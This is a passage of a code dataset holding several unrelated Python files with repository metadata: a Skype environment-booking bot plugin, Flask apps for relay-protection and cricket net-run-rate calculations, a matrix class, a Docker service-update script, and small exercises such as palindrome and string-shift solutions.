free envs, which are gathered from\n    configuration file. It doesn't actually lock any server to you, but gives information to your teammates with\n    which environment you are currently working.\n\n    This was the most useful part of classical Levitan.\n\n    Available commands:\n    For both personal chats and chat rooms:\n    ?env help - print this help\n    ?env take <env name> - take an env\n    ?env free <env name> - set the env free\n\n    For personal chats:\n    ?env <room tag> - get the list of all the envs and statuses\n    ?env take <env name> <room tag> - take an env, used if duplicates found.\n    ?env free <env name> <room tag> - free an env, used if duplicates found.\n    \"\"\"\n\n    def __init__(self, config):\n        self.name = str(self.__class__.__name__)\n        self.skypebot_instance = None\n        self.sender = None\n        self.room_tag = None\n        self.config = config\n        self.requests = ['^\\s*\\?env\\s*$',\n                         '^\\s*\\?env\\s+help*$',\n                         '^\\s*\\?env\\s+take\\s+([^ ]*)\\s*$',\n                         '^\\s*\\?env\\s+free\\s+([^ ]*)\\s*$',\n                         '^\\s*\\?env\\s+([^ ]*)\\s*$',\n                         '^\\s*\\?env\\s+take\\s+([^ ]*)\\s+([^ ]*)\\s*$',\n                         '^\\s*\\?env\\s+free\\s+([^ ]*)\\s+([^ ]*)\\s*$'\n                         ]\n        self.methods = [self.help_match,\n                        self.env_match, self.env_match_personal,\n                        self.take_match, self.take_match_personal,\n                        self.free_match, self.free_match_personal]\n        self.envs = {}\n\n    def process(self, message):\n        self.sender = message.Sender.FullName\n\n        is_personal = False\n        tag = ''\n        if message.Chat.Topic:\n            tag = self.config['rooms'].keys()[self.config['rooms'].values().index(message.Chat.Topic)]\n        else:\n            is_personal = True\n\n        for method in self.methods:\n            response = method(message, tag, is_personal)\n            if not response is None:\n                return response.replace('/', '/ ')\n\n    def help_match(self, message, tag=None, is_personal=False):\n        if re.match('^\\s*\\?env\\s+help*$', message.Body, re.IGNORECASE):\n            return self.help()\n\n        return None\n\n    def env_match(self, message, tag=None, is_personal=False):\n        if re.match('^\\s*\\?env\\s*$', message.Body, re.IGNORECASE):\n            if is_personal:\n                return 'Please specify room ?env <room_tag>. Available tags:\\n%s' % \\\n                       '\\n'.join(self.config['plugins'][self.name]['rooms'].keys())\n            else:\n                return self.get_env(tag)\n\n        return None\n\n    def env_match_personal(self, message, tag, is_personal=True):\n        env_match = re.match('^\\s*\\?env\\s+([^ ]*)\\s*$', message.Body, re.IGNORECASE)\n        if env_match:\n            tag = env_match.groups()[0]\n            if self.sender_in_room(message.Sender, tag):\n                return self.get_env(tag)\n            else:\n                return 'You are not authorized to make changes in this room or room doesn\\'t exist'\n\n        return None\n\n    def take_match(self, message, tag, is_personal=False):\n        take_match = re.match('^\\s*\\?env\\s+take\\s+([^ ]*)\\s*$', message.Body, re.IGNORECASE)\n        if take_match:\n            env = take_match.groups()[0]\n            if is_personal:\n                tags = self.get_rooms_by_env(env)\n                if not tags:\n                    return 'There is no watched room with such env'\n                if len(tags) > 1:\n                    return 'There are several rooms with such env. Specify room by ?env take <env> <room>'\n\n                if self.sender_in_room(message.Sender, tags[0]):\n                    return self.take_env(env, tags[0])\n                else:\n                    return 'You are not authorized to make changes in this room or room doesn\\'t exist'\n            else:\n                return self.take_env(env, tag)\n\n        return None\n\n    def take_match_personal(self, message, tag, is_personal=True):\n        take_match_personal = re.match('^\\s*\\?env\\s+take\\s+([^ ]*)\\s+([^ ]*)\\s*$', message.Body, re.IGNORECASE)\n        if take_match_personal:\n            env = take_match_personal.groups()[0]\n            tag = take_match_personal.groups()[1]\n            if self.sender_in_room(message.Sender, tag):\n                return self.take_env(env, tag)\n            else:\n                return 'You are not authorized to make changes in this room or room doesn\\'t exist'\n\n    def free_match(self, message, tag, is_personal=False):\n        free_match = re.match('^\\s*\\?env\\s+free\\s+([^ ]*)\\s*$', message.Body, re.IGNORECASE)\n        if free_match:\n            env = free_match.groups()[0]\n            if is_personal:\n                tags = self.get_rooms_by_env(env)\n                if not tags:\n                    return 'There is no watched room with such env'\n                if len(tags) > 1:\n                    return 'There are several rooms with such env. Specify room by ?env free <env> <room>'\n\n                if self.sender_in_room(message.Sender, tags[0]):\n                    return self.free_env(env, tags[0])\n                else:\n                    return 'You are not authorized to make changes in this room or room doesn\\'t exist'\n            else:\n                return self.free_env(env, tag)\n\n        return None\n\n    def free_match_personal(self, message, tag, is_personal=True):\n        free_match_personal = re.match('^\\s*\\?env\\s+free\\s+([^ ]*)\\s+([^ ]*)\\s*$', message.Body, re.IGNORECASE)\n        if free_match_personal:\n            env = free_match_personal.groups()[0]\n            tag = free_match_personal.groups()[1]\n            if self.sender_in_room(message.Sender, tag):\n                return self.free_env(env, tag)\n            else:\n                return 'You are not authorized to make changes in this room or room doesn\\'t exist'\n\n        return None\n\n    def check_plugin_config(self):\n        try:\n            local_rooms = self.config['plugins'][self.name]['rooms']\n        except KeyError:\n            return {'status': False, 'errorMessage': 'Obligatory param \\'rooms\\' is absent'}\n\n        avail_room_tags = self.config['rooms'].keys()\n        local_room_tags = local_rooms.keys()\n\n        if not list(set(local_room_tags)) == local_room_tags:\n            return {'status': False, 'errorMessage': 'Duplicate rooms found in plugin config'}\n\n        if False in map(lambda x: x in avail_room_tags, local_room_tags):\n            return {'status': False, 'errorMessage': 'Plugin has rooms, which are not defined globally'}\n\n        try:\n            envs_by_room_list = [sorted(room['envs']) for room in local_rooms.values()]\n        except KeyError:\n            return {'status': False, 'errorMessage': 'Some room has no envs section'}\n\n        if '/' in str(envs_by_room_list):\n            return {'status': False, 'errorMessage': 'Slashes are not allowed in names/tags'}\n\n\n        self.envs = dict((name, map(Environment, envl)) for name, envl in zip(local_room_tags, envs_by_room_list))\n\n        return {'status': True, 'errorMessage': None}\n\n    def get_env(self, tag):\n        self.check_expire(tag)\n        envs_desc = []\n        for env_desc in self.envs[tag]:\n            envs_desc.append(env_desc.__str__())\n        return \"\\n\".join(envs_desc)\n\n    def help(self):\n        return self.__doc__\n\n\n    def take_env(self, env, tag):\n        self.check_expire(tag)\n        envs_by_tag = self.envs[tag]\n        try:\n            env_obj = filter(lambda x: x.env_name == env, envs_by_tag)[0]\n            if env_obj.taken == False:\n                env_obj.take(self.sender)\n                return 'Env %s is now taken by %s' % (env, self.sender)\n            else:\n                return 'Env %s has been already taken. Please choose another one' % env\n        except IndexError:\n            return '%s doesn\\'t seem to exist in env list: %s.' % (env,\n                                                                         ', '.join(map(lambda x: x.env_name,\n                                                                                         envs_by_tag)))\n\n\n    def free_env(self, env, tag):\n        self.check_expire(tag)\n        envs_by_tag = self.envs[tag]\n\n        try:\n            env_obj = filter(lambda x: x.env_name == env, envs_by_tag)[0]\n        except IndexError:\n            return '%s doesn\\'t seem to exist in env list: %s.' % (env,\n                                                                   ', '.join(map(lambda x: x.env_name,\n                                                                                     envs_by_tag)))\n        if env_obj.taken:\n            env_obj.free()\n            return 'Env %s is now free' % env\n            #self.current_env.remove(env)\n        else:\n            return 'Env %s wasn\\'t taken by anyone' % env\n\n\n    def check_expire(self, tag):\n        \"\"\"\n        On each request this function updates time_taken value (difference between times when the env was first taken\n        and current time). If this time is bigger than expire_time, it sets the env free.\n        \"\"\"\n        envs_by_tag = self.envs[tag]\n        try:\n            expire_time = int(self.config['plugins'][self.name]['rooms'][tag]['expireTime'])\n        except KeyError:\n            expire_time = 6\n\n        if expire_time == -1:\n            return\n\n        for env in envs_by_tag:\n            if env.taken:\n                env.time_taken = datetime.datetime.now() - env.start_time\n                hours = env.time_taken.total_seconds() / 3600\n                if hours >= expire_time:\n                    env.free()\n\n    def sender_in_room(self, sender, room_tag):\n        \"\"\"\n        This method checks, if sender belongs any watched room\n        :param skype_message: sender's\n        :return: -1 if room_tag is not in watched\n        \"\"\"\n        self.get_skype_bot()\n        if not room_tag in self.config['plugins'][self.name]['rooms'].keys():\n            return False\n\n        # Get watched rooms\n        room_topics_list = [self.config['rooms'][x] for x in self.config['plugins'][self.name]['rooms'].keys()]\n        room_object_list = filter((lambda c: c.Topic in room_topics_list),\n                                  [x for x in self.skypebot_instance.skype.Chats])\n\n        for room in room_object_list:\n            for user in room.Members:\n                if sender == user and room.Topic == self.config['rooms'][room_tag]:\n                    return True\n\n        return False\n\n    def get_skype_bot(self):\n        if self.skypebot_instance is None:\n            # Get SkypeBot instance for one-on-one messaging\n            for obj in gc.get_objects():\n                if isinstance(obj, skypebot.SkypeBot):\n                    self.skypebot_instance = obj\n                    break\n\n\n    def get_rooms_by_env(self, env):\n        self.get_skype_bot()\n        local_rooms = self.config['plugins'][self.name]['rooms']\n        envs_by_rooms = [room['envs'] for room in local_rooms.values()]\n        zipped_envs_by_rooms =  zip (local_rooms.keys(), envs_by_rooms)\n        rooms = []\n        for room in zipped_envs_by_rooms:\n            if env in room[1]:\n                rooms.append(room[0])\n\n        return rooms\n","repo_name":"Sicness/levitan","sub_path":"plugins/EnvPlugin.py","file_name":"EnvPlugin.py","file_ext":"py","file_size_in_byte":12964,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"}
+{"seq_id":"4206025461","text":"from flask import Flask, render_template, request, flash, url_for\r\nimport numpy as np\r\nimport math\r\nimport os\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib\r\nmatplotlib.use('Agg')\r\napp = Flask(__name__)\r\n\r\n\r\n@app.route('/')\r\ndef intro():\r\n    return render_template('intro.html')\r\n\r\n\r\n@app.route('/index')\r\ndef index():\r\n    return render_template('index.html')\r\n\r\n\r\n@app.route('/ack')\r\ndef ack():\r\n    return render_template('aboutus.html')\r\n\r\n\r\n@app.route('/res')\r\ndef res():\r\n    return render_template('research.html')\r\n\r\n\r\n@app.route('/data')\r\ndef data():\r\n    return render_template('data.html')\r\n\r\n\r\n@app.route('/result', methods=['POST'])\r\ndef result():\r\n    lis = []\r\n    input_data = [x for x in request.form.values()]\r\n    input_data_as_numpy_array = np.asarray(input_data)\r\n    input_data_reshaped = input_data_as_numpy_array.reshape(1, -1)\r\n    print(input_data)\r\n    print(input_data_as_numpy_array)\r\n    print(input_data_reshaped)\r\n    z = len(input_data)\r\n    str = input_data[0]\r\n    k = str.split(\":\")\r\n    m = []\r\n    for i in range(1, z):\r\n        k.append(input_data[i])\r\n    for z in k:\r\n        m.append(float(z))\r\n    po = m[1]\r\n    op = m[0]\r\n    turnsrat = po/op\r\n    faultrelay = m[3] * turnsrat\r\n    pickup = m[1]*m[2]/100\r\n    psm = round(faultrelay/pickup, 2)\r\n    t = (0.14/((psm**0.02)-1))\r\n    k = round(t, 2)\r\n    actualrelay = round(k*m[4], 2)\r\n    return render_template('predict.html', pick=(pickup), result=(faultrelay), psm=(psm), time=(k), actual=(actualrelay))\r\n\r\n\r\n@app.route('/relaytrip', methods=['POST'])\r\ndef relaytrip():\r\n    input_data = [x for x in request.form.values()]\r\n    input_data_as_numpy_array = np.asarray(input_data)\r\n    input_data_reshaped = input_data_as_numpy_array.reshape(1, -1)\r\n    print(input_data)\r\n    print(input_data_as_numpy_array)\r\n    print(input_data_reshaped)\r\n    z = len(input_data)\r\n    str = input_data[2]\r\n    str1 = input_data[0]\r\n    str2 = input_data[1]\r\n    k = str.split(\":\")\r\n    k1 = str1.split(\"+j\")\r\n    k2 = str2.split(\"+j\")\r\n    m = k1+k2+k\r\n    lis = []\r\n    for i in range(3, z):\r\n        m.append(input_data[i])\r\n    for z in m:\r\n        lis.append(float(z))\r\n    print(lis)\r\n    is1 = (complex(lis[0], lis[1])*lis[5])/lis[4]\r\n    is2 = (complex(lis[2], lis[3])*lis[5])/lis[4]\r\n    print(is2)\r\n    print(is1)\r\n    id = is1-is2\r\n    id = id.real\r\n    id = round(id, 2)\r\n    ir = (is1+is2)/2\r\n    ir = ir.real\r\n    ir = round(ir, 2)\r\n    b = ir*lis[7]/100\r\n    b = round(b, 2)\r\n    if(id > b):\r\n        k = \"Operating torque is greater than Restraining Torque hence the relay operates\"\r\n    elif(id < b):\r\n        k = \"Operating torque is smaller than Restraining Torque hence the relay dosent operates\"\r\n    elif(id == b):\r\n        k = \"Operating torque is equal to Restraining Torque hence the relay is on the verge of operation\"\r\n    x = np.linspace(0, 20, 100)\r\n    data1 = (lis[7]/100)*x\r\n    x2 = abs(ir)\r\n    data2 = abs(id)\r\n    plt.ylabel(\"Operating Current (I1-I2)\")\r\n    plt.xlabel(\"Restraining Current ((I1+I2)/2)\")\r\n    plt.plot(x, data1)\r\n    plt.plot(x2, data2, '--bo')\r\n\r\n    plt.text(14.0, 1.9, \"Positive Torque\")\r\n    plt.text(17.5, 0, \"Negative Torque\")\r\n    plt.show()\r\n    dir_name = \"C:/Users/yashs/Desktop/PSPS/static/css\"\r\n    plt.rcParams[\"savefig.directory\"] = os.chdir(os.path.dirname(dir_name))\r\n    plt.savefig(\"img.png\")\r\n    plt.close()\r\n    return render_template('relaytrip.html', ic1=(is1), ic2=(is2), id=(id), ir=(ir), b=(b), k=(k), slope=(input_data[4]))\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    app.run(debug=True)\r\n","repo_name":"YashS123/psps1","sub_path":"PSPS/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3549,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"43270953286","text":"from folha_pagamento import FolhaPagamento\nfrom colaborador import Colaborador\nfrom movimento_folha import MovimentoFolha\nfrom tipo_movimento import TipoMovimento\n\nif __name__ == '__main__':\n    # Questão 1\n    FP = FolhaPagamento(9, 2019)\n\n    # Questão 2\n    CL1 = Colaborador(100, 'Manoel Claudino', 'Av 13 de Maio 2081', '88671020', 'Benfica', '60020-060', '124543556-89',\n                      4500)\n    CL2 = Colaborador(200, 'Carmelina da Silva', 'Avenida dos Expedicionários 1200', '3035-1280', 'Aeroporto',\n                      '60530-020', '301789435-54', 2500)\n    CL3 = Colaborador(300, 'Gurmelina Castro Saraiva', 'Av João Pessoa 1020', '3235-1089', 'Damas', '60330-090',\n                      '350245632-76', 3000)\n\n    # Questão 3\n    MF1 = MovimentoFolha(CL1, 'Gratificação', 4500, TipoMovimento.PROVENTO)\n    MF2 = MovimentoFolha(CL1, 'Plano Saúde', 1000, TipoMovimento.PROVENTO)\n    MF3 = MovimentoFolha(CL1, 'Pensão', 600, TipoMovimento.DESCONTO)\n\n    MF4 = MovimentoFolha(CL2, 'Gratificação', 2500, TipoMovimento.PROVENTO)\n    MF5 = MovimentoFolha(CL2, 'Plano Saúde', 1000, TipoMovimento.PROVENTO)\n    MF6 = MovimentoFolha(CL2, 'Faltas', 600, TipoMovimento.DESCONTO)\n\n    MF7 = MovimentoFolha(CL3, 'Gratificação', 4500, TipoMovimento.PROVENTO)\n    MF8 = MovimentoFolha(CL3, 'Plano Saúde', 1000, TipoMovimento.PROVENTO)\n    MF9 = MovimentoFolha(CL3, 'Pensão', 600, TipoMovimento.DESCONTO)\n\n    movimentos = [MF1, MF2, MF3, MF4, MF5, MF6, MF7, MF8, MF9]\n\n    # Questão 6\n    for m in movimentos:\n        FP.inserir_movimentos(m)\n\n    # Questão 7\n    for m in range(len(movimentos)):\n        if m < 3:\n            CL1.inserir_movimentos(movimentos[m])\n        elif m < 6:\n            CL2.inserir_movimentos(movimentos[m])\n        else:\n            CL3.inserir_movimentos(movimentos[m])\n\n    print(FP.calcular_folha())\n","repo_name":"Yuri-Santiago/yuri-mateus-poo-python-ifce-p7","sub_path":"Atividades[Avaliação] - Etapa1/Atividade - Prática/teste.py","file_name":"teste.py","file_ext":"py","file_size_in_byte":1854,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"4104028657","text":"class matrix(object):\r\n    def __init__(self, m):\r\n        self.matrix=m\r\n        self.l=len(m)\r\n        self.h=len(m[0])\r\n\r\n    def elemet(self, n, k):\r\n        return int(self.matrix[n][k])\r\n\r\n    def replace_l(self, n, z):\r\n        self.matrix[n]=z\r\n        return matrix(self.matrix)\r\n\r\n    def replace_e(self, n, k, Z):\r\n        self.matrix[n][k]=Z\r\n        return matrix(self.matrix)\r\n\r\n    def delete_line(self, n):\r\n        i=0\r\n        m2=('x '*(self.l-2)+'x').split(' ')\r\n        while i<self.l-1:\r\n            if i<n:\r\n                m2[i]=self.matrix[i]\r\n            else:\r\n                m2[i]=self.matrix[i+1]\r\n            i+=1\r\n        return matrix(m2)\r\n\r\n    def delelete_hight(self, k):\r\n        i=0\r\n        H=self.h\r\n        m1 =[]\r\n        while i<self.l:\r\n            m2 = ('x ' * (H - 2) + 'x').split(' ')\r\n            j=0\r\n            while j<H-1:\r\n                if j<k:\r\n                    m2[j]=self.matrix[i][j]\r\n                else:\r\n                    m2[j]=self.matrix[i][j+1]\r\n                j+=1\r\n            m1.append(m2)\r\n            i += 1\r\n        return matrix(m1)\r\n\r\n    def pokazatel(self):\r\n        if self.h==self.l:\r\n            sum=0\r\n            if self.l==1:\r\n                return (self.matrix[0][0])\r\n            else:\r\n                n = 0\r\n                while n < self.h:\r\n                    e = int(self.matrix[0][n])\r\n                    k=((self.delelete_hight(n)).delete_line(0)).pokazatel()\r\n                    sum += ((-1)**(n+2))*e*(k)\r\n                    n+=1\r\n            return sum\r\n    def sumL(self, n, m, k):\r\n        H=self.h\r\n        mas=self.matrix\r\n        while H > 0:\r\n            H -= 1\r\n            mas[n][H] = k*mas[m][H]+mas[n][H]\r\n        return matrix(mas)\r\n    def triangularH(self):\r\n        if self.h==1 and self.l>1:\r\n            l=1\r\n            m=[[self.matrix[0][0]]]\r\n            while l<self.l:\r\n                m.append([0])\r\n                l+=1\r\n            return matrix(m)\r\n        else:\r\n            l = 0\r\n            mas = self.matrix\r\n            a = 0\r\n            if self.l==1:\r\n                return(self)\r\n            else:\r\n                while a == 0 and l < self.l:\r\n                    a = mas[l][0]\r\n                    l += 1\r\n                if l == self.l and a==0:\r\n                    print('показатель матрицы = 0')\r\n                    z = matrix(mas).delete_line(0).delelete_hight(0).triangularH().matrix\r\n                else:\r\n                    if l!=1:\r\n                        mas = matrix(mas).sumL(0, l-1, 1).matrix\r\n                    l = 1\r\n                    while l < self.l:\r\n                        r = (-1)*(mas[l][0])/mas[0][0]\r\n                        mas = matrix(mas).sumL(l, 0, r).matrix\r\n                        l += 1\r\n                    z = matrix(mas).delete_line(0).delelete_hight(0).triangularH().matrix\r\n                L = 0\r\n                while L < self.l-1:\r\n                    H = 0\r\n                    while H < self.h-1:\r\n                        mas[L+1][H+1] = z[L][H]\r\n                        H += 1\r\n                    L += 1\r\n                return matrix(mas)\r\n    def stabilizator(self):\r\n        l=self.l\r\n        m=self.matrix\r\n        while l>1:\r\n            l-=1\r\n            h=l\r\n            while h>0:\r\n                h-=1\r\n                if m[l][l]!=0:\r\n                    m = matrix(m).sumL(h, l, (-1) * (m[h][l]) / m[l][l]).matrix\r\n        return  matrix(m)\r\n    def Gaus(self):\r\n        if self.l==self.h:\r\n            m=self\r\n            return m.triangularH().stabilizator()\r\n\r\n    def print(self):\r\n        l = 0\r\n        while l < self.l:\r\n            print('\\t'.join(list(map(str, (self.matrix[l])))))\r\n            l += 1\r\n    def GausPokazatel(self):\r\n        if self.h==self.l:\r\n            ma=self.Gaus().matrix\r\n            l=0\r\n            sum=1\r\n            while l<self.l:\r\n                sum=sum*ma[l][l]\r\n                l+=1\r\n            return sum\r\n    def plus(self, mat): #сложение матриц\r\n        l=0\r\n        m=mat.matrix\r\n        d=[]\r\n        if self.l==len(m) and self.h==len(m[0]):\r\n            while l<self.l:\r\n                 h=0\r\n                 d.append([])\r\n                 while h<self.h:\r\n                     d[l].append(m[l][h]+self.matrix[l][h])\r\n                     h=1+h\r\n                 l+=1\r\n            return matrix(d)\r\n        else:\r\n            print('Ошибка')\r\n            return matrix([[]])\r\n    def multi(self, k): #умножение на число\r\n        l=0\r\n        while l<self.l:\r\n            h=0\r\n            while h<self.h:\r\n                self.matrix[l][h]=self.matrix[l][h]*k\r\n                h=1+h\r\n            l+=1\r\n        return self\r\n    def T(self): #транспонирование\r\n        tmatrix=[]\r\n        l=0\r\n        while l<self.l:\r\n            h=0\r\n            while h<self.h:\r\n                tmatrix.append([])\r\n                tmatrix[h].append(self.matrix[l][h])\r\n                h=1+h\r\n            l+=1\r\n        return matrix(tmatrix)\r\n    def multy(self, mat): #перемножение матриц\r\n        m=mat.matrix\r\n        M=self.matrix\r\n        l = 0\r\n        E=[]\r\n        if self.h == mat.l:\r\n            while l < self.l:\r\n                h = 0\r\n                E.append([])\r\n                while h < mat.h:\r\n                    r=0\r\n                    s=0\r\n                    while r<self.h:\r\n                        s+=M[l][r]*m[r][h]\r\n                        r+=1\r\n                    E[l].append(s)\r\n                    h = 1 + h\r\n                l += 1\r\n            return matrix(E)\r\n        else:\r\n            print('Ошибка')\r\n            return matrix([[]])\r\n    def stepen(self, n): #быстрое возведение в степень\r\n        m=[[1, self.matrix]]\r\n        while n!=m[-1][0]:\r\n            l=len(m)\r\n            if n>2*m[-1][0]:\r\n                m.append([2*m[l-1][0], matrix(m[-1][1]).multy(matrix(m[l-1][1])).matrix])\r\n            else:\r\n                m.append([m[l-1][0]+m[l-2][0], matrix(m[-1][1]).multy(matrix(m[l-2][1])).matrix])\r\n        return matrix(m[-1][1])\r\n\r\nif __name__==\"__main__\":\r\n    mas=[]\r\n    masi=[]\r\n    print('-=-=-=-=-=-=-=-')\r\n    print('введите матрицу. Пример:')\r\n    print('-1 9 4')\r\n    print('7 0 99')\r\n    print('')\r\n    print('-=-=-=-=-=-=-=-')\r\n    print('P.S. после того, как вели матрицу сделайте пустую строку')\r\n    print('-=-=-=-=-=-=-=-')\r\n    while True:\r\n        a=str(input())\r\n        if a=='':\r\n            break\r\n        else:\r\n            mas.append(list(map(float, a.split())))\r\n            if len(mas[0])!=len(mas[-1]):\r\n                mas=[]\r\n                print('ошибка вывода')\r\n                break\r\n    print('введите 2 матрицу')\r\n    print('-=-=-=-=-=-=-=-')\r\n    print('P.S. после того, как вели матрицу сделайте пустую строку')\r\n    print('-=-=-=-=-=-=-=-')\r\n    while True:\r\n        a = str(input())\r\n        if a == '':\r\n            break\r\n        else:\r\n            masi.append(list(map(float, a.split())))\r\n            if len(masi[0]) != len(masi[-1]):\r\n                masi = []\r\n                print('ошибка вывода')\r\n                break\r\n    ma=matrix(mas)\r\n    print('-=-=-=-=-=-=-=-')\r\n    mat = ma.plus(matrix(masi))\r\n    print('их сумма')\r\n    mat.print()\r\n    print('их произведение')\r\n    mat = ma.multy(matrix(masi))\r\n    mat.print()\r\n    print('------')\r\n    print('транспонированная 1 матрица')\r\n    ma.T().print()\r\n    print('------')\r\n    print('верхнеступенчатая матрица:')\r\n    ma = ma.triangularH().print()\r\n    print('-=-=-=-=-=-=-=-')\r\n    print('показатель:')\r\n    print(matrix(mas).pokazatel())\r\n    print('')\r\n    print(matrix(mas).GausPokazatel())\r\n    print('-=-=-=-=-=-=-=-')\r\n","repo_name":"yunicoin/ClassInCpp","sub_path":"matrix.py","file_name":"matrix.py","file_ext":"py","file_size_in_byte":7955,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"21574599572","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport json\nimport requests_unixsocket\nimport urllib   \nimport pprint\n\ndef list_services():\n    \n    try:\n        session = requests_unixsocket.Session()\n        r = session.get('http+unix://'+urllib.quote_plus('/var/run/docker.sock')+'/v1.32/services')\n        pprint.pprint(r.json())\n    except Exception:\n        print  ('error')\n    return\n\ndef update_service():\n    \n    try:\n        session = requests_unixsocket.Session()\n        r1 = session.get('http+unix://'+urllib.quote_plus('/var/run/docker.sock')+'/v1.25/services/x3wldgbdq2n8')\n        pprint.pprint(r1.json())\n        service=r1.json()        \n        data={\n  'Name': service['Spec']['Name'],\n  'TaskTemplate':service['Spec']['TaskTemplate'],\n  'Mode': {u'Replicated': {u'Replicas': 3}},\n  u'Endpoint': service['Endpoint'],\n'Networks': service['Spec']['Networks']\n}       \n        print(json.dumps(data));\n        headers = {}\n        headers['Content-Type'] = 'application/json';\n        r = session.post('http+unix://'+urllib.quote_plus('/var/run/docker.sock')+'/v1.25/services/'+str(service[\"ID\"])+'/update?version='+str(service[\"Version\"][\"Index\"]),json=data,headers=headers);\n        pprint.pprint(r.json())\n    except Exception:\n        print  ('error')\n    return\n\nif __name__ == \"__main__\":\n    #list_services()\n    update_service()","repo_name":"DOCTOR-ANR/ochestrator","sub_path":"mano/nfvo/docker_rest.py","file_name":"docker_rest.py","file_ext":"py","file_size_in_byte":1354,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"43755355125","text":"import sys\r\n\r\ndef isPal(string):\r\n    '''A function that takes a string to check if it's a palindrome\r\n        return True if a palindrome or False otherwise'''\r\n    if len(string) <= 1:\r\n        return True\r\n    else:\r\n        return string[0] == string[-1] and isPal(string[1:-1])\r\n\r\nprint(\"*** Program to check whether a string is a palindrome ***\")\r\nwhile True:\r\n    string = str(input(\"Enter string (enter an empty string to exit): \"))\r\n    string =  string.lower()\r\n    word = \"\"\r\n    for i in string:\r\n        if i in \"abcdefghijklmnopqrstuvwxyz\":\r\n            word += str(i)\r\n    string = word\r\n    if string == \"\":\r\n        print(\"Exiting program...\")\r\n        sys.exit(0)\r\n    elif isPal(string) == True:\r\n        print(string, \"is a palindrome.\")\r\n    else:\r\n        print(string, \"is not a palindrome.\")\r\n        \r\n        \r\n        \r\n\r\n\r\n","repo_name":"aidanohora/Python-Practicals","sub_path":"alsopalindrome.py","file_name":"alsopalindrome.py","file_ext":"py","file_size_in_byte":851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"595023194","text":"import math \nfrom flask import Flask, request, jsonify, render_template\napp = Flask(__name__)\n\nruns_scored = [151, 110]\nruns_given = [152, 111]\novers_played = [20, 20]\novers_bowled = [17.83, 14.5]\n\n\nafg_runs_scored = [190, 147, 160]\nafg_runs_given = [60, 148, 98] \nafg_overs_bowled = [20, 19, 20]\nafg_overs_played = [20, 20, 20]\n\ndef convert(ele):\n    overs = math.floor(ele)\n    balls = round(ele - math.floor(ele), 1) * 10 \n    conv = overs + (balls / 6) \n    return round(conv, 2)   \n\n\n@app.route('/')\ndef home():\n\n    return render_template('index.html')\n\n@app.route('/afg')\ndef show_ques():\n    \n    return render_template('index.html')\n\n\n@app.route('/afg',methods=['POST'])\ndef show_nrr():\n    '''\n    For rendering results on HTML GUI\n    '''\n    input_data = [x for x in request.form.values()]\n    input_data[1] = convert(input_data[1])  \n    afg_runs_scored.append(input_data[0])\n    runs_given.append(input_data[0])\n    afg_overs_played.append(input_data[1])\n    overs_bowled.append(input_data[1])\n    runs_scored.append(input_data[2])\n    afg_runs_given.append(input_data[2])\n    input_data[3] = convert(input_data[3])\n    overs_played.append(input_data[3])\n    overs_bowled.append(input_data[3])\n \n    # final_features = [np.array(int_features)]\n    nrr_for = sum(runs_scored) / sum(overs_played)\n    nrr_aga = sum(runs_given) / sum(overs_bowled) \n    nrr = nrr_for - nrr_aga \n    #print(\"India NRR: \",  nrr) \n\n    #print(afg_runs_scored[0:3])\n    afg_nrr_for = sum(afg_runs_scored) / sum(afg_overs_played) \n\n    afg_nrr_aga = sum(afg_runs_given) / sum(afg_overs_bowled)\n\n    afg_nrr = afg_nrr_for - afg_nrr_aga\n\n    #print(\"Afghanistan NRR: \", afg_nrr) \n\n    return render_template('index.html', afg_nrr='{}'.format(afg_nrr), ind_nrr='{}'.format(nrr))\n\n\nif __name__ == \"__main__\":\n    app.run(debug=False)","repo_name":"iakhil/NRR-Calculator-","sub_path":"nrr.py","file_name":"nrr.py","file_ext":"py","file_size_in_byte":1818,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"5716837064","text":"import pandas as pd\r\nimport streamlit as st\r\nfrom pathlib import Path\r\nfrom events.plots import  plot_user_flow\r\nfrom events.create_data import create_dummy_data\r\n\r\ndef display_customer_sankey():\r\n    st.header(\"Visualizing Customer Journey using Sankey Diagram\")\r\n    st.write(\"Sankey diagram is a type of chart that displays flows and their quantities.\"\r\n             \" Arrows of various thickness are used to visualize the quantity in each flow as well\"\r\n             \" as the direction or path in which they flow.\"\r\n             \" Mapping out journey flow diagrams helps in identifying and visualising the most dominant ones.\"\r\n             \" This helps in raising insights around customer's touchpoints, but also identifying which steps your customers use the most.\")\r\n\r\n    st.subheader(\"You can see: \")\r\n    st.text(\r\n        \"1. Most dominant customer journey flows by first defining the starting point\")\r\n    events = create_dummy_data()\r\n    fig = plot_user_flow(events, starting_step='Cart Created')\r\n    st.plotly_chart(fig)","repo_name":"piushvaish/ecommerce-analytics","sub_path":"streamlit_blocks/customer_sankey.py","file_name":"customer_sankey.py","file_ext":"py","file_size_in_byte":1036,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"18847665872","text":"#30 days leetcode challenge\n#Week 2 day 7\nclass Solution:\n    def stringShift(self, s: str, shift: List[List[int]]) -> str:\n        '''\n        1. sum the total left steps and right steps\n        2. only move the remainder of the len(string)\n        '''\n        sum = 0\n        for i in range(len(shift)):            \n            if shift[i][0] ==0:\n                sum -= shift[i][1]                 \n            elif shift[i][0]==1:    \n                #right\n                sum += shift[i][1]\n        sum = sum%len(s)\n        if sum == 0:\n            return s\n        else:\n            return s[-sum:] + s[:-sum]\n       ","repo_name":"sebaschen/leetcode","sub_path":"Perform_String_shifts.py","file_name":"Perform_String_shifts.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
